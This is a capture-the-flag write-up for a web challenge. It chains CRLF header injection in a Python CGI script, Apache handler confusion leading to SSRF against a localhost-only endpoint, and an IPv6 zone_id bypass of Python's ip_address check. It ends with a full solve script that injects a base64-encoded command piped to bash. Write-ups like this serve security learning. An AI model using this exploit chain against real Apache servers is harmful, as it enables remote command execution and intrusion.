Obsidian Enigma
Synopsis
The challenge involves a code injection vulnerability, through an SSRF caused by a handler confusion that happens in non-latest versions of Apache.
Skills Required
Basic understanding of Apache's Architecture
Basic understanding of CRLF Header Injection
Basic Url Encoding knowledge
Skills Learned
Performing Handler Confusion Attacks on Apache.
Perfoming SSRF attacks and double URL encoding.
Python's
ipaddress.ip_addressaccepts IPv6 addresses with zone_ids.
Enumeration
Analyzing the source code
Opening the source code, we can see that the challenge is running an Apache server with an
index.phpfile and acgi-bindirectory. The cgi files are written in Python and are used to interact with the server.Index page is a simple form that takes a Name and a Domain/IP address as input.

Filling out the form we see that the
Attack an IPbutton is disabled. As it says, it is only allowed for trusted users.

Looking at the code of index.php:
const isLocalIP = (ip) => {
return ip === "127.0.0.1" || ip === "::1" || ip.startsWith("192.168.");
};
const userIP = "<?php echo $_SERVER['REMOTE_ADDR']; ?>";So if it's a local IP the button is enabled.
Buttons:
Attack a domain: Visits the
/cgi-bin/attack-domain.pyAttack an IP: Visits the
/cgi-bin/attack-ip.py
Looking at the code of attack-domain.py:
#!/usr/bin/env python3
import cgi
import os
import re
def is_domain(target):
return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)
form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
print('Location: ../?error=Hey, you need to provide a name and a target!')
elif is_domain(target):
count = 1 # Increase this for an actual attack
os.popen(f'ping -c {count} {target}')
print(f'Location: ../?result=Succesfully attacked {target}!')
else:
print(f'Location: ../?error=Hey {name}, watch it!')
print('Content-Type: text/html')
print()The code is simple, it checks if the target is a domain and then pings it.
Looking at the code of
attack-ip.py:
try:
count = 1 # Increase this for an actual attack
os.popen(f'ping -c {count} {ip_address(target)}')
print(f'Location: ../?result=Succesfully attacked {target}!')
except:
print(f'Location: ../?error=Hey {name}, watch it!')Similar to the previous code, but this time it validates if the target is an IP address by calling the
ip_addressfunction.
Checking the Apache configuration file:
ServerName CyberAttack
AddType application/x-httpd-php .php
<Location "/cgi-bin/attack-ip">
Order deny,allow
Deny from all
Allow from 127.0.0.1
Allow from ::1
</Location>The
attack-iplocation is only allowed for local IPs.The application sets the
application/x-httpd-phptype for.phpfiles.Thoughts:
The parameters in the cgi scripts are not sanitized but only checked. If we could bypass either of the checks, we could exploit the system by injecting code.
Since there is a local only page, we try to think of a possible SSRF attack.
Solution
Finding the vulnerability
The cgi-bin files on error print the name of the user. This can lead to a CRLF injection.
print(f'Location: ../?error=Hey {name}, watch it!')The application adds a Type for the
.phpfiles instead of securely setting the handler. This can lead to handler confusion as explained here.This vulnerability is now fixed for the most part in the latest versions of Apache. But we can see that the docker image is running an older version of Apache.
This can lead to full GET SSRF attacks which gets us to the next step.
The
ip_addressfunction is used to verify if the target is an IP address. As explained in this post, we can bypass this by giving an IPv6 adress with a%sign followed by our payload.
Exploitation
We begin with the handler confusion via CRLF injection. We can inject a new header to the response with the name parameter.
Example:
handler = 'server-status'
r = get(f'{url}/cgi-bin/attack-domain?target=test&name=asdfasfd%0d%0aLocation:/as%0d%0aContent-Type:{handler}%0d%0a%0d%0a')
print(r.text)The cgi response has a new header
Content-Type: server-statuswhich means the handler is now set to a prebuiltserver-statushandler.The response text is indeed the server status page.
We can now perform a SSRF attack by setting the handler to
proxy:http://127.0.0.1/cgi-bin/attack-ip.
Some issues:
The get parameters of the
attack-ippage need to be url encoded.The zone_id of the IPv6 address needs to be url encoded as well, so we double encode it.
We cant have
/in the zone_id.The proxy seems to append a
/var/www/htmlto the url so we a dummy parameter catches this.
Getting the flag
The flag is located at
/flag-<random>.txtso we can use a command to get the flag and write it to a file in the webroot.Solve script:
from requests import get
url = 'http://localhost:1337'
def quote(s):
return ''.join([f'%{hex(ord(c))[2:]}' for c in s])
def dquote(s):
return quote(quote(s))
from base64 import b64encode
payload = b64encode(b'cat /flag* > /var/www/html/flag.txt').decode()
handler = f'proxy:http://127.0.0.1/cgi-bin/attack-ip?name=asfs{quote('&')}target=::1{dquote(f"%; echo \"{payload}\" | base64 -d | bash")}{quote('&')}dummy='
get(f'{url}/cgi-bin/attack-domain?target=test&name=asdfasfd%0d%0aLocation:/as%0d%0aContent-Type:{handler}%0d%0a%0d%0a')
print(get(f'{url}/flag.txt').text)Last updated
Was this helpful?